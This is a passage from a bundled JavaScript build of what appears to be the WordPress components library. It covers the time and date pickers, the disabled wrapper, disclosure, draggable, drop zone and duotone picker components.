40527 isShiftStepEnabled: false,
40528 onChange: (...args) => {
40529 buildNumberControlChangeCallback("minutes")(...args);
40530 minutesProps?.onChange?.(...args);
40531 },
40532 __unstableStateReducer: buildPadInputStateReducer(2),
40533 ...minutesProps
40534 })]
40535 }), is12Hour && /* @__PURE__ */ (0, import_jsx_runtime195.jsxs)(component_default12, {
40536 __next40pxDefaultSize: true,
40537 isBlock: true,
40538 label: (0, import_i18n44.__)("Select AM or PM"),
40539 hideLabelFromVision: true,
40540 value: dayPeriod,
40541 onChange: (newValue) => {
40542 buildAmPmChangeCallback(newValue)();
40543 },
40544 children: [/* @__PURE__ */ (0, import_jsx_runtime195.jsx)(component_default14, {
40545 value: "AM",
40546 label: (0, import_i18n44.__)("AM")
40547 }), /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(component_default14, {
40548 value: "PM",
40549 label: (0, import_i18n44.__)("PM")
40550 })]
40551 })]
40552 })]
40553 });
40554 }
40555
40556 // packages/components/build-module/date-time/time/index.mjs
40557 var import_jsx_runtime196 = __toESM(require_jsx_runtime(), 1);
40558 var VALID_DATE_ORDERS = ["dmy", "mdy", "ymd"];
40559 function TimePicker({
40560 is12Hour,
40561 currentTime,
40562 onChange,
40563 dateOrder: dateOrderProp,
40564 hideLabelFromVision = false
40565 }) {
40566 const [date, setDate] = (0, import_element130.useState)(() => (
40567 // Truncate the date at the minutes, see: #15495.
40568 startOfMinute(inputToDate(currentTime ?? /* @__PURE__ */ new Date()))
40569 ));
40570 (0, import_element130.useEffect)(() => {
40571 setDate(startOfMinute(inputToDate(currentTime ?? /* @__PURE__ */ new Date())));
40572 }, [currentTime]);
40573 const monthOptions = [{
40574 value: "01",
40575 label: (0, import_i18n45.__)("January")
40576 }, {
40577 value: "02",
40578 label: (0, import_i18n45.__)("February")
40579 }, {
40580 value: "03",
40581 label: (0, import_i18n45.__)("March")
40582 }, {
40583 value: "04",
40584 label: (0, import_i18n45.__)("April")
40585 }, {
40586 value: "05",
40587 label: (0, import_i18n45.__)("May")
40588 }, {
40589 value: "06",
40590 label: (0, import_i18n45.__)("June")
40591 }, {
40592 value: "07",
40593 label: (0, import_i18n45.__)("July")
40594 }, {
40595 value: "08",
40596 label: (0, import_i18n45.__)("August")
40597 }, {
40598 value: "09",
40599 label: (0, import_i18n45.__)("September")
40600 }, {
40601 value: "10",
40602 label: (0, import_i18n45.__)("October")
40603 }, {
40604 value: "11",
40605 label: (0, import_i18n45.__)("November")
40606 }, {
40607 value: "12",
40608 label: (0, import_i18n45.__)("December")
40609 }];
40610 const {
40611 day,
40612 month,
40613 year,
40614 minutes,
40615 hours
40616 } = (0, import_element130.useMemo)(() => ({
40617 day: (0, import_date5.date)("d", date),
40618 month: (0, import_date5.date)("m", date),
40619 year: (0, import_date5.date)("Y", date),
40620 minutes: (0, import_date5.date)("i", date),
40621 hours: (0, import_date5.date)("H", date)
40622 }), [date]);
40623 const buildNumberControlChangeCallback = (method) => {
40624 const callback = (value, {
40625 event
40626 }) => {
40627 if (!validateInputElementTarget(event)) {
40628 return;
40629 }
40630 const numberValue = Number(value);
40631 const newDate = setInConfiguredTimezone(date, {
40632 [method]: numberValue
40633 });
40634 setDate(newDate);
40635 onChange?.((0, import_date5.date)(TIMEZONELESS_FORMAT, newDate));
40636 };
40637 return callback;
40638 };
40639 const onTimeInputChangeCallback = ({
40640 hours: newHours,
40641 minutes: newMinutes
40642 }) => {
40643 const newDate = setInConfiguredTimezone(date, {
40644 hours: newHours,
40645 minutes: newMinutes
40646 });
40647 setDate(newDate);
40648 onChange?.((0, import_date5.date)(TIMEZONELESS_FORMAT, newDate));
40649 };
40650 const dayField = /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(DayInput, {
40651 className: "components-datetime__time-field components-datetime__time-field-day",
40652 label: (0, import_i18n45.__)("Day"),
40653 hideLabelFromVision: true,
40654 __next40pxDefaultSize: true,
40655 value: day,
40656 step: 1,
40657 min: 1,
40658 max: getDaysInMonth2(Number(year), Number(month) - 1),
40659 required: true,
40660 spinControls: "none",
40661 isPressEnterToChange: true,
40662 isDragEnabled: false,
40663 isShiftStepEnabled: false,
40664 onChange: buildNumberControlChangeCallback("date")
40665 }, "day");
40666 const monthField = /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(MonthSelectWrapper, {
40667 children: /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(select_control_default, {
40668 className: "components-datetime__time-field components-datetime__time-field-month",
40669 label: (0, import_i18n45.__)("Month"),
40670 hideLabelFromVision: true,
40671 __next40pxDefaultSize: true,
40672 value: month,
40673 options: monthOptions,
40674 onChange: (value) => {
40675 const newDate = setInConfiguredTimezone(date, {
40676 month: Number(value) - 1
40677 });
40678 setDate(newDate);
40679 onChange?.((0, import_date5.date)(TIMEZONELESS_FORMAT, newDate));
40680 }
40681 })
40682 }, "month");
40683 const yearField = /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(YearInput, {
40684 className: "components-datetime__time-field components-datetime__time-field-year",
40685 label: (0, import_i18n45.__)("Year"),
40686 hideLabelFromVision: true,
40687 __next40pxDefaultSize: true,
40688 value: year,
40689 step: 1,
40690 min: 1,
40691 max: 9999,
40692 required: true,
40693 spinControls: "none",
40694 isPressEnterToChange: true,
40695 isDragEnabled: false,
40696 isShiftStepEnabled: false,
40697 onChange: buildNumberControlChangeCallback("year"),
40698 __unstableStateReducer: buildPadInputStateReducer(4)
40699 }, "year");
40700 const defaultDateOrder = is12Hour ? "mdy" : "dmy";
40701 const dateOrder = dateOrderProp && VALID_DATE_ORDERS.includes(dateOrderProp) ? dateOrderProp : defaultDateOrder;
40702 const fields = dateOrder.split("").map((field) => {
40703 switch (field) {
40704 case "d":
40705 return dayField;
40706 case "m":
40707 return monthField;
40708 case "y":
40709 return yearField;
40710 default:
40711 return null;
40712 }
40713 });
40714 return /* @__PURE__ */ (0, import_jsx_runtime196.jsxs)(Wrapper4, {
40715 className: "components-datetime__time",
40716 children: [/* @__PURE__ */ (0, import_jsx_runtime196.jsxs)(Fieldset, {
40717 children: [hideLabelFromVision ? /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(component_default2, {
40718 as: "legend",
40719 children: (0, import_i18n45.__)("Time")
40720 }) : /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(base_control_default.VisualLabel, {
40721 as: "legend",
40722 className: "components-datetime__time-legend",
40723 children: (0, import_i18n45.__)("Time")
40724 }), /* @__PURE__ */ (0, import_jsx_runtime196.jsxs)(component_default9, {
40725 className: "components-datetime__time-wrapper",
40726 children: [/* @__PURE__ */ (0, import_jsx_runtime196.jsx)(TimeInput, {
40727 value: {
40728 hours: Number(hours),
40729 minutes: Number(minutes)
40730 },
40731 is12Hour,
40732 onChange: onTimeInputChangeCallback
40733 }), /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(component_default6, {}), /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(timezone_default, {})]
40734 })]
40735 }), /* @__PURE__ */ (0, import_jsx_runtime196.jsxs)(Fieldset, {
40736 children: [hideLabelFromVision ? /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(component_default2, {
40737 as: "legend",
40738 children: (0, import_i18n45.__)("Date")
40739 }) : /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(base_control_default.VisualLabel, {
40740 as: "legend",
40741 className: "components-datetime__time-legend",
40742 children: (0, import_i18n45.__)("Date")
40743 }), /* @__PURE__ */ (0, import_jsx_runtime196.jsx)(component_default9, {
40744 className: "components-datetime__time-wrapper",
40745 children: fields
40746 })]
40747 })]
40748 });
40749 }
40750 TimePicker.TimeInput = TimeInput;
40751 Object.assign(TimePicker.TimeInput, {
40752 displayName: "TimePicker.TimeInput"
40753 });
40754 var time_default = TimePicker;
40755
40756 // packages/components/build-module/date-time/date-time/index.mjs
40757 var import_element131 = __toESM(require_element(), 1);
40758
40759 // packages/components/build-module/date-time/date-time/styles.mjs
40760 function _EMOTION_STRINGIFIED_CSS_ERROR__30() {
40761 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
40762 }
40763 var Wrapper5 = /* @__PURE__ */ createStyled(component_default18, false ? {
40764 target: "e1p5onf00"
40765 } : {
40766 target: "e1p5onf00",
40767 label: "Wrapper"
40768 })(false ? {
40769 name: "1khn195",
40770 styles: "box-sizing:border-box"
40771 } : {
40772 name: "1khn195",
40773 styles: "box-sizing:border-box/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFVdUMiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBWU3RhY2sgfSBmcm9tICcuLi8uLi92LXN0YWNrJztcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQoIFZTdGFjayApYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuYDtcbiJdfQ== */",
40774 toString: _EMOTION_STRINGIFIED_CSS_ERROR__30
40775 });
40776
40777 // packages/components/build-module/date-time/date-time/index.mjs
40778 var import_jsx_runtime197 = __toESM(require_jsx_runtime(), 1);
40779 var noop12 = () => {
40780 };
40781 function UnforwardedDateTimePicker({
40782 currentDate,
40783 is12Hour,
40784 dateOrder,
40785 isInvalidDate,
40786 onMonthPreviewed = noop12,
40787 onChange,
40788 events,
40789 startOfWeek: startOfWeek3
40790 }, ref) {
40791 return /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(Wrapper5, {
40792 ref,
40793 className: "components-datetime",
40794 spacing: 4,
40795 children: /* @__PURE__ */ (0, import_jsx_runtime197.jsxs)(import_jsx_runtime197.Fragment, {
40796 children: [/* @__PURE__ */ (0, import_jsx_runtime197.jsx)(time_default, {
40797 currentTime: currentDate,
40798 onChange,
40799 is12Hour,
40800 dateOrder
40801 }), /* @__PURE__ */ (0, import_jsx_runtime197.jsx)(date_default, {
40802 currentDate,
40803 onChange,
40804 isInvalidDate,
40805 events,
40806 onMonthPreviewed,
40807 startOfWeek: startOfWeek3
40808 })]
40809 })
40810 });
40811 }
40812 var DateTimePicker = (0, import_element131.forwardRef)(UnforwardedDateTimePicker);
40813 DateTimePicker.displayName = "DateTimePicker";
40814 var date_time_default = DateTimePicker;
40815
40816 // packages/components/build-module/date-time/index.mjs
40817 var date_time_default2 = date_time_default;
40818
40819 // packages/components/build-module/disabled/styles/disabled-styles.mjs
40820 function _EMOTION_STRINGIFIED_CSS_ERROR__31() {
40821 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
40822 }
40823 var disabledStyles3 = false ? {
40824 name: "u2jump",
40825 styles: "position:relative;pointer-events:none;&::after{content:'';position:absolute;top:0;right:0;bottom:0;left:0;}*{pointer-events:none;}"
40826 } : {
40827 name: "iqemdn-disabledStyles",
40828 styles: "position:relative;pointer-events:none;&::after{content:'';position:absolute;top:0;right:0;bottom:0;left:0;}*{pointer-events:none;};label:disabledStyles;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImRpc2FibGVkLXN0eWxlcy50c3giXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBS2lDIiwiZmlsZSI6ImRpc2FibGVkLXN0eWxlcy50c3giLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbmV4cG9ydCBjb25zdCBkaXNhYmxlZFN0eWxlcyA9IGNzc2Bcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblxuXHQmOjphZnRlciB7XG5cdFx0Y29udGVudDogJyc7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHRvcDogMDtcblx0XHRyaWdodDogMDtcblx0XHRib3R0b206IDA7XG5cdFx0bGVmdDogMDtcblx0fVxuXG5cdC8vIEFsc28gbWFrZSBuZXN0ZWQgYmxvY2tzIHVuc2VsZWN0YWJsZS5cblx0KiB7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdH1cbmA7XG4iXX0= */",
40829 toString: _EMOTION_STRINGIFIED_CSS_ERROR__31
40830 };
40831
40832 // packages/components/build-module/disabled/context.mjs
40833 var import_element132 = __toESM(require_element(), 1);
40834 var Context = (0, import_element132.createContext)(false);
40835 Context.displayName = "DisabledContext";
40836 var context_default3 = Context;
40837
40838 // packages/components/build-module/disabled/index.mjs
40839 var import_jsx_runtime198 = __toESM(require_jsx_runtime(), 1);
40840 var {
40841 Consumer,
40842 Provider: Provider2
40843 } = context_default3;
40844 function Disabled({
40845 className: className2,
40846 children,
40847 isDisabled = true,
40848 ...props
40849 }) {
40850 const cx3 = useCx();
40851 return /* @__PURE__ */ (0, import_jsx_runtime198.jsx)(Provider2, {
40852 value: isDisabled,
40853 children: /* @__PURE__ */ (0, import_jsx_runtime198.jsx)("div", {
40854 // @ts-ignore Reason: inert is a recent HTML attribute
40855 inert: isDisabled ? "true" : void 0,
40856 className: isDisabled ? cx3(disabledStyles3, className2, "components-disabled") : void 0,
40857 ...props,
40858 children
40859 })
40860 });
40861 }
40862 Disabled.Context = context_default3;
40863 Disabled.Consumer = Consumer;
40864 var disabled_default = Disabled;
40865
40866 // packages/components/build-module/disclosure/index.mjs
40867 var import_element133 = __toESM(require_element(), 1);
40868 var import_jsx_runtime199 = __toESM(require_jsx_runtime(), 1);
40869 var UnforwardedDisclosureContent = ({
40870 visible,
40871 children,
40872 ...props
40873 }, ref) => {
40874 const disclosure = useDisclosureStore({
40875 open: visible
40876 });
40877 return /* @__PURE__ */ (0, import_jsx_runtime199.jsx)(DisclosureContent, {
40878 store: disclosure,
40879 ref,
40880 ...props,
40881 children
40882 });
40883 };
40884 var DisclosureContent22 = (0, import_element133.forwardRef)(UnforwardedDisclosureContent);
40885 DisclosureContent22.displayName = "DisclosureContent";
40886
40887 // packages/components/build-module/draggable/index.mjs
40888 var import_compose51 = __toESM(require_compose(), 1);
40889 var import_element134 = __toESM(require_element(), 1);
40890 var import_jsx_runtime200 = __toESM(require_jsx_runtime(), 1);
40891 var dragImageClass = "components-draggable__invisible-drag-image";
40892 var cloneWrapperClass = "components-draggable__clone";
40893 var clonePadding = 0;
40894 var bodyClass = "is-dragging-components-draggable";
40895 function Draggable({
40896 children,
40897 onDragStart,
40898 onDragOver,
40899 onDragEnd,
40900 appendToOwnerDocument = false,
40901 cloneClassname,
40902 elementId,
40903 transferData,
40904 __experimentalTransferDataType: transferDataType = "text",
40905 __experimentalDragComponent: dragComponent
40906 }) {
40907 const dragComponentRef = (0, import_element134.useRef)(null);
40908 const cleanupRef = (0, import_element134.useRef)(() => {
40909 });
40910 function end(event) {
40911 event.preventDefault();
40912 cleanupRef.current();
40913 if (onDragEnd) {
40914 onDragEnd(event);
40915 }
40916 }
40917 function start(event) {
40918 const {
40919 ownerDocument
40920 } = event.target;
40921 event.dataTransfer.setData(transferDataType, JSON.stringify(transferData));
40922 const cloneWrapper = ownerDocument.createElement("div");
40923 cloneWrapper.style.top = "0";
40924 cloneWrapper.style.left = "0";
40925 const dragImage = ownerDocument.createElement("div");
40926 if ("function" === typeof event.dataTransfer.setDragImage) {
40927 dragImage.classList.add(dragImageClass);
40928 ownerDocument.body.appendChild(dragImage);
40929 event.dataTransfer.setDragImage(dragImage, 0, 0);
40930 }
40931 cloneWrapper.classList.add(cloneWrapperClass);
40932 if (cloneClassname) {
40933 cloneWrapper.classList.add(cloneClassname);
40934 }
40935 let x2 = 0;
40936 let y3 = 0;
40937 if (dragComponentRef.current) {
40938 x2 = event.clientX;
40939 y3 = event.clientY;
40940 cloneWrapper.style.transform = `translate( ${x2}px, ${y3}px )`;
40941 const clonedDragComponent = ownerDocument.createElement("div");
40942 clonedDragComponent.innerHTML = dragComponentRef.current.innerHTML;
40943 cloneWrapper.appendChild(clonedDragComponent);
40944 ownerDocument.body.appendChild(cloneWrapper);
40945 } else {
40946 const element = ownerDocument.getElementById(elementId);
40947 const elementRect = element.getBoundingClientRect();
40948 const elementWrapper = element.parentNode;
40949 const elementTopOffset = elementRect.top;
40950 const elementLeftOffset = elementRect.left;
40951 cloneWrapper.style.width = `${elementRect.width + clonePadding * 2}px`;
40952 const clone = element.cloneNode(true);
40953 clone.id = `clone-${elementId}`;
40954 x2 = elementLeftOffset - clonePadding;
40955 y3 = elementTopOffset - clonePadding;
40956 cloneWrapper.style.transform = `translate( ${x2}px, ${y3}px )`;
40957 Array.from(clone.querySelectorAll("iframe")).forEach((child) => child.parentNode?.removeChild(child));
40958 cloneWrapper.appendChild(clone);
40959 if (appendToOwnerDocument) {
40960 ownerDocument.body.appendChild(cloneWrapper);
40961 } else {
40962 elementWrapper?.appendChild(cloneWrapper);
40963 }
40964 }
40965 let cursorLeft = event.clientX;
40966 let cursorTop = event.clientY;
40967 function over(e3) {
40968 if (cursorLeft === e3.clientX && cursorTop === e3.clientY) {
40969 return;
40970 }
40971 const nextX = x2 + e3.clientX - cursorLeft;
40972 const nextY = y3 + e3.clientY - cursorTop;
40973 cloneWrapper.style.transform = `translate( ${nextX}px, ${nextY}px )`;
40974 cursorLeft = e3.clientX;
40975 cursorTop = e3.clientY;
40976 x2 = nextX;
40977 y3 = nextY;
40978 if (onDragOver) {
40979 onDragOver(e3);
40980 }
40981 }
40982 const throttledDragOver = (0, import_compose51.throttle)(over, 16);
40983 ownerDocument.addEventListener("dragover", throttledDragOver);
40984 ownerDocument.body.classList.add(bodyClass);
40985 if (onDragStart) {
40986 onDragStart(event);
40987 }
40988 cleanupRef.current = () => {
40989 if (cloneWrapper && cloneWrapper.parentNode) {
40990 cloneWrapper.parentNode.removeChild(cloneWrapper);
40991 }
40992 if (dragImage && dragImage.parentNode) {
40993 dragImage.parentNode.removeChild(dragImage);
40994 }
40995 ownerDocument.body.classList.remove(bodyClass);
40996 ownerDocument.removeEventListener("dragover", throttledDragOver);
40997 };
40998 }
40999 (0, import_element134.useEffect)(() => () => {
41000 cleanupRef.current();
41001 }, []);
41002 return /* @__PURE__ */ (0, import_jsx_runtime200.jsxs)(import_jsx_runtime200.Fragment, {
41003 children: [children({
41004 onDraggableStart: start,
41005 onDraggableEnd: end
41006 }), dragComponent && /* @__PURE__ */ (0, import_jsx_runtime200.jsx)("div", {
41007 className: "components-draggable-drag-component-root",
41008 style: {
41009 display: "none"
41010 },
41011 ref: dragComponentRef,
41012 children: dragComponent
41013 })]
41014 });
41015 }
41016 var draggable_default = Draggable;
41017
41018 // packages/components/build-module/drop-zone/index.mjs
41019 var import_i18n46 = __toESM(require_i18n(), 1);
41020 var import_element135 = __toESM(require_element(), 1);
41021 var import_dom31 = __toESM(require_dom(), 1);
41022 var import_compose52 = __toESM(require_compose(), 1);
41023 var import_jsx_runtime201 = __toESM(require_jsx_runtime(), 1);
41024 function DropZoneComponent({
41025 className: className2,
41026 icon = upload_default,
41027 label,
41028 onFilesDrop,
41029 onHTMLDrop,
41030 onDrop,
41031 isEligible = () => true,
41032 ...restProps
41033 }) {
41034 const [isDraggingOverDocument, setIsDraggingOverDocument] = (0, import_element135.useState)();
41035 const [isDraggingOverElement, setIsDraggingOverElement] = (0, import_element135.useState)();
41036 const [isActive, setIsActive] = (0, import_element135.useState)();
41037 const ref = (0, import_compose52.__experimentalUseDropZone)({
41038 onDrop(event) {
41039 if (!event.dataTransfer) {
41040 return;
41041 }
41042 const files = (0, import_dom31.getFilesFromDataTransfer)(event.dataTransfer);
41043 const html = event.dataTransfer.getData("text/html");
41044 if (html && onHTMLDrop) {
41045 onHTMLDrop(html);
41046 } else if (files.length && onFilesDrop) {
41047 onFilesDrop(files);
41048 } else if (onDrop) {
41049 onDrop(event);
41050 }
41051 },
41052 onDragStart(event) {
41053 setIsDraggingOverDocument(true);
41054 if (!event.dataTransfer) {
41055 return;
41056 }
41057 if (event.dataTransfer.types.includes("text/html")) {
41058 setIsActive(!!onHTMLDrop);
41059 } else if (
41060 // Check for the types because sometimes the files themselves
41061 // are only available on drop.
41062 event.dataTransfer.types.includes("Files") || (0, import_dom31.getFilesFromDataTransfer)(event.dataTransfer).length > 0
41063 ) {
41064 setIsActive(!!onFilesDrop);
41065 } else {
41066 setIsActive(!!onDrop && isEligible(event.dataTransfer));
41067 }
41068 },
41069 onDragEnd() {
41070 setIsDraggingOverElement(false);
41071 setIsDraggingOverDocument(false);
41072 setIsActive(void 0);
41073 },
41074 onDragEnter() {
41075 setIsDraggingOverElement(true);
41076 },
41077 onDragLeave() {
41078 setIsDraggingOverElement(false);
41079 }
41080 });
41081 const classes = clsx_default("components-drop-zone", className2, {
41082 "is-active": isActive,
41083 "is-dragging-over-document": isDraggingOverDocument,
41084 "is-dragging-over-element": isDraggingOverElement
41085 });
41086 return /* @__PURE__ */ (0, import_jsx_runtime201.jsx)("div", {
41087 ...restProps,
41088 ref,
41089 className: classes,
41090 children: /* @__PURE__ */ (0, import_jsx_runtime201.jsx)("div", {
41091 className: "components-drop-zone__content",
41092 children: /* @__PURE__ */ (0, import_jsx_runtime201.jsxs)("div", {
41093 className: "components-drop-zone__content-inner",
41094 children: [/* @__PURE__ */ (0, import_jsx_runtime201.jsx)(icon_default2, {
41095 icon,
41096 className: "components-drop-zone__content-icon"
41097 }), /* @__PURE__ */ (0, import_jsx_runtime201.jsx)("span", {
41098 className: "components-drop-zone__content-text",
41099 children: label ? label : (0, import_i18n46.__)("Drop files to upload")
41100 })]
41101 })
41102 })
41103 });
41104 }
41105 var drop_zone_default = DropZoneComponent;
41106
41107 // packages/components/build-module/drop-zone/provider.mjs
41108 var import_deprecated15 = __toESM(require_deprecated(), 1);
41109 function DropZoneProvider({
41110 children
41111 }) {
41112 (0, import_deprecated15.default)("wp.components.DropZoneProvider", {
41113 since: "5.8",
41114 hint: "wp.component.DropZone no longer needs a provider. wp.components.DropZoneProvider is safe to remove from your code."
41115 });
41116 return children;
41117 }
41118
41119 // packages/components/build-module/duotone-picker/duotone-picker.mjs
41120 var import_es62 = __toESM(require_es6(), 1);
41121 var import_element137 = __toESM(require_element(), 1);
41122 var import_i18n48 = __toESM(require_i18n(), 1);
41123
41124 // packages/components/build-module/duotone-picker/color-list-picker/index.mjs
41125 var import_element136 = __toESM(require_element(), 1);
41126 var import_i18n47 = __toESM(require_i18n(), 1);
41127 var import_compose53 = __toESM(require_compose(), 1);
41128 var import_jsx_runtime202 = __toESM(require_jsx_runtime(), 1);
41129 function ColorOption({
41130 label,
41131 value,
41132 colors,
41133 disableCustomColors,
41134 enableAlpha,
41135 onChange
41136 }) {
41137 const [isOpen, setIsOpen] = (0, import_element136.useState)(false);
41138 const idRoot = (0, import_compose53.useInstanceId)(ColorOption, "color-list-picker-option");
41139 const labelId = `${idRoot}__label`;
41140 const contentId = `${idRoot}__content`;
41141 return /* @__PURE__ */ (0, import_jsx_runtime202.jsxs)(import_jsx_runtime202.Fragment, {
41142 children: [/* @__PURE__ */ (0, import_jsx_runtime202.jsx)(button_default, {
41143 __next40pxDefaultSize: true,
41144 className: "components-color-list-picker__swatch-button",
41145 id: labelId,
41146 onClick: () => setIsOpen((prev2) => !prev2),
41147 "aria-expanded": isOpen,
41148 "aria-controls": contentId,
41149 icon: value ? /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(color_indicator_default, {
41150 colorValue: value,
41151 className: "components-color-list-picker__swatch-color"
41152 }) : /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(icon_default3, {
41153 icon: swatch_default
41154 }),
41155 text: label
41156 }), /* @__PURE__ */ (0, import_jsx_runtime202.jsx)("div", {
41157 role: "group",
41158 id: contentId,
41159 "aria-labelledby": labelId,
41160 "aria-hidden": !isOpen,
41161 children: isOpen && /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(color_palette_default, {
41162 "aria-label": (0, import_i18n47.__)("Color options"),
41163 className: "components-color-list-picker__color-picker",
41164 colors,
41165 value,
41166 clearable: false,
41167 onChange,
41168 disableCustomColors,
41169 enableAlpha
41170 })
41171 })]
41172 });
41173 }
41174 function ColorListPicker({
41175 colors,
41176 labels,
41177 value = [],
41178 disableCustomColors,
41179 enableAlpha,
41180 onChange
41181 }) {
41182 return /* @__PURE__ */ (0, import_jsx_runtime202.jsx)("div", {
41183 className: "components-color-list-picker",
41184 children: labels.map((label, index2) => /* @__PURE__ */ (0, import_jsx_runtime202.jsx)(ColorOption, {
41185 label,
41186 value: value[index2],
41187 colors,
41188 disableCustomColors,
41189 enableAlpha,
41190 onChange: (newColor) => {
41191 const newColors = value.slice();
41192 newColors[index2] = newColor;
41193 onChange(newColors);
41194 }
41195 }, index2))
41196 });
41197 }
41198 var color_list_picker_default = ColorListPicker;
41199
41200 // packages/components/build-module/duotone-picker/utils.mjs
41201 k([names_default]);
41202 function getDefaultColors(palette) {
41203 if (!palette || palette.length < 2) {
41204 return ["#000", "#fff"];
41205 }
41206 return palette.map(({
41207 color: color2
41208 }) => ({
41209 color: color2,
41210 brightness: w(color2).brightness()
41211 })).reduce(([min3, max3], current) => {
41212 return [current.brightness <= min3.brightness ? current : min3, current.brightness >= max3.brightness ? current : max3];
41213 }, [{
41214 brightness: 1,
41215 color: ""
41216 }, {
41217 brightness: 0,
41218 color: ""
41219 }]).map(({
41220 color: color2
41221 }) => color2);
41222 }
41223 function getGradientFromCSSColors(colors = [], angle = "90deg") {
41224 const l3 = 100 / colors.length;
41225 const stops = colors.map((c3, i3) => `${c3} ${i3 * l3}%, ${c3} ${(i3 + 1) * l3}%`).join(", ");
41226 return `linear-gradient( ${angle}, ${stops} )`;
41227 }
41228 function getColorStopsFromColors(colors) {
41229 return colors.map((color2, i3) => ({
41230 position: i3 * 100 / (colors.length - 1),
41231 color: color2
41232 }));
41233 }
41234 function getColorsFromColorStops(colorStops = []) {
41235 return colorStops.map(({
41236 color: color2
41237 }) => color2);
41238 }
41239
41240 // packages/components/build-module/duotone-picker/custom-duotone-bar.mjs
41241 var import_jsx_runtime203 = __toESM(require_jsx_runtime(), 1);
41242 var PLACEHOLDER_VALUES = ["#333", "#CCC"];
41243 function CustomDuotoneBar({
41244 value,
41245 onChange
41246 }) {
41247 const hasGradient = !!value;
41248 const values = hasGradient ? value : PLACEHOLDER_VALUES;
41249 const background2 = getGradientFromCSSColors(values);
41250 const controlPoints = getColorStopsFromColors(values);
41251 return /* @__PURE__ */ (0, import_jsx_runtime203.jsx)(CustomGradientBar, {
41252 disableInserter: true,
41253 background: background2,
41254 hasGradient,
41255 value: controlPoints,
41256 onChange: (newColorStops) => {
41257 const newValue = getColorsFromColorStops(newColorStops);
41258 onChange(newValue);
41259 }
41260 });
41261 }
41262
41263 // packages/components/build-module/duotone-picker/duotone-picker.mjs
41264 var import_jsx_runtime204 = __toESM(require_jsx_runtime(), 1);
41265 function DuotonePicker({
41266 asButtons,
41267 loop,
41268 clearable = true,
41269 unsetable = true,
41270 colorPalette,
41271 duotonePalette,
41272 disableCustomColors,
41273 disableCustomDuotone,
41274 value,
41275 onChange,
41276 "aria-label": ariaLabel,
41277 "aria-labelledby": ariaLabelledby,
41278 ...otherProps
41279 }) {
41280 const [defaultDark, defaultLight] = (0, import_element137.useMemo)(() => getDefaultColors(colorPalette), [colorPalette]);
41281 const isUnset = value === "unset";
41282 const unsetOptionLabel = (0, import_i18n48.__)("Unset");
41283 const unsetOption = /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(circular_option_picker_default2.Option, {
41284 value: "unset",
41285 isSelected: isUnset,
41286 tooltipText: unsetOptionLabel,
41287 "aria-label": unsetOptionLabel,
41288 className: "components-duotone-picker__color-indicator",
41289 onClick: () => {
41290 onChange(isUnset ? void 0 : "unset");
41291 }
41292 }, "unset");
41293 const duotoneOptions = duotonePalette.map(({
41294 colors,
41295 slug,
41296 name
41297 }) => {
41298 const style2 = {
41299 background: getGradientFromCSSColors(colors, "135deg"),
41300 color: "transparent"
41301 };
41302 const tooltipText = name ?? (0, import_i18n48.sprintf)(
41303 // translators: %s: duotone code e.g: "dark-grayscale" or "7f7f7f-ffffff".
41304 (0, import_i18n48.__)("Duotone code: %s"),
41305 slug
41306 );
41307 const label = name ? (0, import_i18n48.sprintf)(
41308 // translators: %s: The name of the option e.g: "Dark grayscale".
41309 (0, import_i18n48.__)("Duotone: %s"),
41310 name
41311 ) : tooltipText;
41312 const isSelected2 = (0, import_es62.default)(colors, value);
41313 return /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(circular_option_picker_default2.Option, {
41314 value: colors,
41315 isSelected: isSelected2,
41316 "aria-label": label,
41317 tooltipText,
41318 style: style2,
41319 onClick: () => {
41320 onChange(isSelected2 ? void 0 : colors);
41321 }
41322 }, slug);
41323 });
41324 const {
41325 metaProps,
41326 labelProps
41327 } = getComputeCircularOptionPickerCommonProps(asButtons, loop, ariaLabel, ariaLabelledby);
41328 const options2 = unsetable ? [unsetOption, ...duotoneOptions] : duotoneOptions;
41329 return /* @__PURE__ */ (0, import_jsx_runtime204.jsx)(circular_option_picker_default2, {
41330 ...otherProps,
41331 ...metaProps,
41332 ...labelProps,
